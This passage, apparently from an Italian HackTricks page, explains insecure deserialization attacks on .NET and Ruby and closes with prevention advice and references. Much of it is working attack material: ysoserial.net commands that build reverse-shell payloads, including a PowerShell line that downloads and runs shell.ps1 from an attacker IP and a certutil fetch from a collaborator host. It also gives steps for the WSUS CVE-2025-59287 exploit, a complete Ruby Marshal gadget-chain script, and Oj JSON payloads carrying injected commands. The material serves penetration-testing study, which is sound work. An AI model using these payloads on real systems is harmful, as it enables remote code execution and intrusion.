Questo significa che in questa exploitation tutti i client che useranno quel messaggio verranno infettati.

Devi ricordare che anche se un servizio è vulnerabile (perché sta deserializing in modo insicuro input controllato dall’utente) devi comunque trovare gadget validi per sfruttare la vulnerabilità.

Lo strumento JMET è stato creato per connect and attack this services sending several malicious objects serialized using known gadgets. Questi exploit funzioneranno se il servizio è ancora vulnerabile e se uno qualsiasi dei gadget usati è presente nell’applicazione vulnerabile.

Riferimenti

.Net

Nel contesto di .Net, gli exploit di deserialization operano in modo analogo a quelli trovati in Java, dove i gadget vengono sfruttati per eseguire codice specifico durante la deserialization di un oggetto.

Fingerprint

WhiteBox

Il codice sorgente dovrebbe essere ispezionato per la presenza di:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

L’attenzione dovrebbe essere rivolta ai serializer che permettono che il tipo venga determinato da una variabile sotto il controllo dell’utente.

BlackBox

La ricerca dovrebbe mirare alla stringa codificata in Base64 AAEAAAD///// o a qualsiasi pattern simile che potrebbe subire deserialization lato server, concedendo il controllo sul tipo da deserializzare. Questo potrebbe includere, ma non limitarsi a, strutture JSON o XML contenenti TypeObject o $type.

ysoserial.net

In questo caso puoi usare lo strumento ysoserial.net per create the deserialization exploits. Una volta scaricato il repository git dovresti compile the tool usando Visual Studio per esempio.

Se vuoi imparare how does ysoserial.net creates it’s exploit puoi check this page where is explained the ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter.

Le opzioni principali di ysoserial.net sono: --gadget, --formatter, --output e --plugin.

  • --gadget usato per indicare il gadget da abusare (indicare la class/function che sarĂ  abusata durante la deserialization per eseguire comandi).
  • --formatter, usato per indicare il metodo per serializzare l’exploit (devi sapere quale libreria usa il back-end per deserializzare il payload e usare la stessa per serializzarlo)
  • --output usato per indicare se vuoi l’exploit in raw o base64 encoded. Nota che ysoserial.net encoderĂ  il payload usando UTF-16LE (encoding usato di default su Windows) quindi se prendi il raw e lo codifichi da una console linux potresti avere alcuni encoding compatibility problems che impediranno all’exploit di funzionare correttamente (in HTB JSON box il payload ha funzionato sia in UTF-16LE che in ASCII ma questo non significa che funzionerĂ  sempre).
  • --plugin ysoserial.net supporta plugin per creare exploits per specific frameworks come ViewState

More ysoserial.net parameters

  • --minify fornirĂ  un payload piĂš piccolo (se possibile)
  • --raf -f Json.Net -c "anything" Questo indicherĂ  tutti i gadget che possono essere usati con un formatter fornito (Json.Net in questo caso)
  • --sf xml puoi indicare un gadget (-g) e ysoserial.net cercherĂ  formatter contenenti “xml” (case insensitive)

ysoserial examples to create exploits:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net ha anche un parametro molto interessante che aiuta a capire meglio come funziona ogni exploit: --test
Se indichi questo parametro ysoserial.net proverà l’exploit localmente, così puoi testare se il tuo payload funzionerà correttamente.
Questo parametro è utile perchÊ se esamini il codice troverai blocchi di codice come il seguente (from ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Questo significa che, per testare l’exploit, il codice chiamerà serializersHelper.JsonNet_deserialize

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

Il codice precedente è vulnerabile all’exploit creato. Quindi se trovi qualcosa di simile in un’applicazione .Net, significa probabilmente che anche quell’applicazione è vulnerabile.
Perciò il parametro --test ci permette di capire quali porzioni di codice sono vulnerabili all’exploit di deserializzazione che ysoserial.net può creare.

ViewState

Dai un’occhiata a this POST about how to try to exploit the __ViewState parameter of .Net to execute arbitrary code. Se conosci già i segreti usati dalla macchina vittima, read this post to know to execute code.

Real‑world sink: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE

  • Endpoint interessati:
  • /SimpleAuthWebService/SimpleAuth.asmx → GetCookie() AuthorizationCookie decriptato e poi deserializzato con BinaryFormatter.
  • /ReportingWebService.asmx → ReportEventBatch e operazioni SOAP correlate che raggiungono sink di SoapFormatter; il gadget in base64 viene processato quando la console WSUS elabora l’evento.
  • Causa radice: byte controllati dall’attaccante raggiungono i formatter legacy .NET (BinaryFormatter/SoapFormatter) senza allow‑lists/binders stringenti, quindi le catene di gadget vengono eseguite con l’account di servizio WSUS (spesso SYSTEM).

Sfruttamento minimo (percorso Reporting):

  1. Generare un gadget .NET con ysoserial.net (BinaryFormatter o SoapFormatter) e ottenere l’output in base64, per esempio:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"

# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
  1. Crea un SOAP per ReportEventBatch incorporando il gadget in base64 e invialo via POST a /ReportingWebService.asmx.
  2. Quando un admin apre la console WSUS, l’evento viene deserializzato e il gadget si attiva (RCE come SYSTEM).

AuthorizationCookie / GetCookie()

  • Un AuthorizationCookie falsificato può essere accettato, decrittato e passato a un sink BinaryFormatter, consentendo RCE pre‑auth se raggiungibile.

Parametri del PoC pubblico (tecxx/CVE-2025-59287-WSUS):

$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"

Vedi Windows Local Privilege Escalation – WSUS

Prevenzione

Per mitigare i rischi associati alla deserializzazione in .Net:

  • Evitare di permettere ai flussi di dati di definire i loro tipi di oggetto. Utilizzare DataContractSerializer o XmlSerializer quando possibile.
  • Per JSON.Net, impostare TypeNameHandling su None: TypeNameHandling = TypeNameHandling.None
  • Evitare l’uso di JavaScriptSerializer con un JavaScriptTypeResolver.
  • Limitare i tipi che possono essere deserializzati, comprendendo i rischi intrinseci dei tipi .Net, come System.IO.FileInfo, che può modificare le proprietĂ  dei file del server, portando potenzialmente a denial of service attacks.
  • Prestare attenzione ai tipi con proprietĂ  rischiose, come System.ComponentModel.DataAnnotations.ValidationException con la sua proprietĂ  Value, che può essere sfruttata.
  • Controllare in modo sicuro l’instanziazione dei tipi per evitare che un attaccante influenzi il processo di deserializzazione, rendendo vulnerabili anche DataContractSerializer o XmlSerializer.
  • Implementare controlli con white list usando un SerializationBinder personalizzato per BinaryFormatter e JSON.Net.
  • Rimanere informati sui gadget di deserializzazione noti e insicuri all’interno di .Net e assicurarsi che i deserializzatori non istanzino tali tipi.
  • Isolare il codice potenzialmente rischioso dal codice con accesso a internet per evitare di esporre gadget noti, come System.Windows.Data.ObjectDataProvider nelle applicazioni WPF, a fonti di dati non attendibili.

Riferimenti

Ruby

In Ruby, la serializzazione è fornita da due metodi all’interno della libreria marshal. Il primo metodo, noto come dump, è usato per trasformare un oggetto in un flusso di byte. Questo processo è chiamato serializzazione. Al contrario, il secondo metodo, load, viene impiegato per riportare un flusso di byte a un oggetto, un processo noto come deserializzazione.

Per proteggere gli oggetti serializzati, Ruby utilizza HMAC (Hash-Based Message Authentication Code), garantendo l’integrità e l’autenticità dei dati. La chiave utilizzata per questo scopo è memorizzata in una delle seguenti posizioni:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.X generic deserialization to RCE gadget chain (more info in https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Un’altra catena RCE per sfruttare Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Metodo Ruby .send()

Come spiegato in questo report sulla vulnerabilità, se un input utente non sanitizzato raggiunge il metodo .send() di un oggetto ruby, questo metodo permette di invocare qualsiasi altro metodo dell’oggetto con qualsiasi parametro.

Ad esempio, chiamando eval e passando poi codice ruby come secondo parametro si può eseguire codice arbitrario:

<Object>.send('eval', '<user input with Ruby code>') == RCE

Inoltre, se solo un parametro di .send() è controllato da un attaccante, come menzionato nel writeup precedente, è possibile chiamare qualsiasi metodo dell’oggetto che non richiede argomenti o i cui argomenti hanno valori predefiniti.
Per questo, è possibile enumerare tutti i metodi dell’oggetto per trovare alcuni metodi interessanti che soddisfano tali requisiti.

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Ruby class pollution

Vedi come sia possibile pollute a Ruby class and abuse it in here.

Ruby _json pollution

Quando nel body vengono inviati alcuni valori non hashable come un array, questi vengono aggiunti in una nuova chiave chiamata _json. Tuttavia, è possibile che un attaccante imposti direttamente nel body una chiave _json con i valori arbitrari che desidera. Quindi, se il backend ad esempio verifica la correttezza di un parametro ma poi utilizza anche il parametro _json per eseguire un’azione, potrebbe essere eseguito un authorisation bypass.

Consulta maggiori informazioni nella Ruby _json pollution page.

Altre librerie

Questa tecnica è stata tratta da questo post del blog.

Esistono altre librerie Ruby che possono essere usate per serializzare oggetti e che quindi potrebbero essere abusate per ottenere RCE durante una deserializzazione insicura. La seguente tabella mostra alcune di queste librerie e il metodo chiamato della classe caricata ogni volta che viene deserializzata (la funzione da abusare per ottenere RCE):

LibreriaDati di inputMetodo eseguito nella classe
Marshal (Ruby)Binario_load
OjJSONhash (class needs to be put into hash(map) as key)
OxXMLhash (class needs to be put into hash(map) as key)
Psych (Ruby)YAMLhash (class needs to be put into hash(map) as key)
init_with
JSON (Ruby)JSONjson_create ([vedi note riguardanti json_create alla fine](#table-vulnerable-sinks))

Esempio base:

# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

Nel caso di un tentativo di abuso di Oj, è stato possibile trovare una gadget class che, nella sua funzione hash, chiama to_s, che chiama spec, che chiama fetch_path — è stato possibile farle recuperare un URL casuale — fornendo un ottimo indicatore di questo tipo di vulnerabilità di deserialization non sanitizzata.

{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}

Inoltre, si è scoperto che con la tecnica precedente viene creato anche un folder nel sistema, requisito necessario per abusare di un altro gadget e trasformare questo in una RCE completa con qualcosa del tipo:

{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

Consulta per maggiori dettagli il original post.

Bootstrap Caching

Non è proprio una desearilization vuln ma è un bel trucco per abusare del bootstrap caching e ottenere RCE da un’applicazione Rails sfruttando un arbitrary file write (trovi il post completo original post in here).

Di seguito un breve riassunto dei passaggi dettagliati nell’articolo per sfruttare una vulnerabilità di arbitrary file write abusando della cache di Bootsnap:

  • Identify the Vulnerability and Environment

La funzionalità di upload file dell’app Rails permette a un attacker di scrivere file arbitrariamente. Anche se l’app gira con restrizioni (solo alcune directory come tmp sono scrivibili a causa dell’utente non-root di Docker), ciò permette comunque di scrivere nella directory di cache di Bootsnap (tipicamente sotto tmp/cache/bootsnap).

  • Understand Bootsnap’s Cache Mechanism

Bootsnap accelera i tempi di avvio di Rails facendo caching del codice Ruby compilato, dei file YAML e JSON. Memorizza file di cache che includono un header della cache key (con campi come versione di Ruby, dimensione del file, mtime, opzioni di compilazione, ecc.) seguito dal codice compilato. Questo header viene usato per validare la cache durante l’avvio dell’app.

  • Gather File Metadata

L’attaccante sceglie prima un file target che probabilmente viene caricato durante lo startup di Rails (per esempio set.rb dalla standard library di Ruby). Eseguendo codice Ruby all’interno del container, estrae metadata critici (come RUBY_VERSION, RUBY_REVISION, size, mtime e compile_option). Questi dati sono essenziali per costruire una cache key valida.

  • Compute the Cache File Path

Replicando il meccanismo di hash FNV-1a 64-bit di Bootsnap, si determina il percorso corretto del file di cache. Questo passaggio garantisce che il file di cache malevolo sia posizionato esattamente dove Bootsnap se lo aspetta (es. sotto tmp/cache/bootsnap/compile-cache-iseq/).

  • Craft the Malicious Cache File

L’attaccante prepara un payload che:

  • Esegue comandi arbitrari (per esempio, eseguire id per mostrare informazioni sul processo).
  • Rimuove la cache malevola dopo l’esecuzione per prevenire exploit ricorsivi.
  • Carica il file originale (es. set.rb) per evitare che l’applicazione crashi.

Questo payload viene compilato in codice Ruby binario e concatenato con un header della cache key costruito con cura (usando i metadata raccolti e la versione corretta di Bootsnap).

  • Overwrite and Trigger Execution

Usando la vulnerabilità di arbitrary file write, l’attaccante scrive il file di cache costruito nella posizione calcolata. Poi forza un restart del server (scrivendo su tmp/restart.txt, monitorato da Puma). Durante il riavvio, quando Rails richiede il file target, il file di cache malevolo viene caricato, risultando in remote code execution (RCE).

Ruby Marshal exploitation in practice (updated)

Treat any path where untrusted bytes reach Marshal.load/marshal_load as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.

  • Percorso minimo di codice vulnerabile in Rails:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
  • Classi di gadget comuni viste in catene reali: Gem::SpecFetcher, Gem::Version, Gem::RequestSet::Lockfile, Gem::Resolver::GitSpecification, Gem::Source::Git.
  • Marcatore di effetto collaterale tipico incorporato nei payload (eseguito durante l’unmarshal):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip

Dove emerge nelle app reali:

  • Rails cache stores e session stores che storicamente usano Marshal
  • Backend per background job e object store basati su file
  • Qualsiasi persistenza o trasporto personalizzato di blob oggetti binari

Scoperta industriale dei gadget:

  • Grep per constructors, hash, _load, init_with, o metodi con effetti collaterali invocati durante l’unmarshal
  • Usa le query Ruby unsafe deserialization di CodeQL per tracciare sources → sinks e far emergere gadget
  • Valida con PoC pubblici multi-formato (JSON/XML/YAML/Marshal)

Riferimenti

  • Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
  • elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
  • Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
  • CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
  • ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
  • Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
  • GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
  • GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
  • Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
  • Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
  • Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
  • Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
  • Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
  • Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
  • watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
  • OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)
  • PoC – tecxx/CVE-2025-59287-WSUS

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks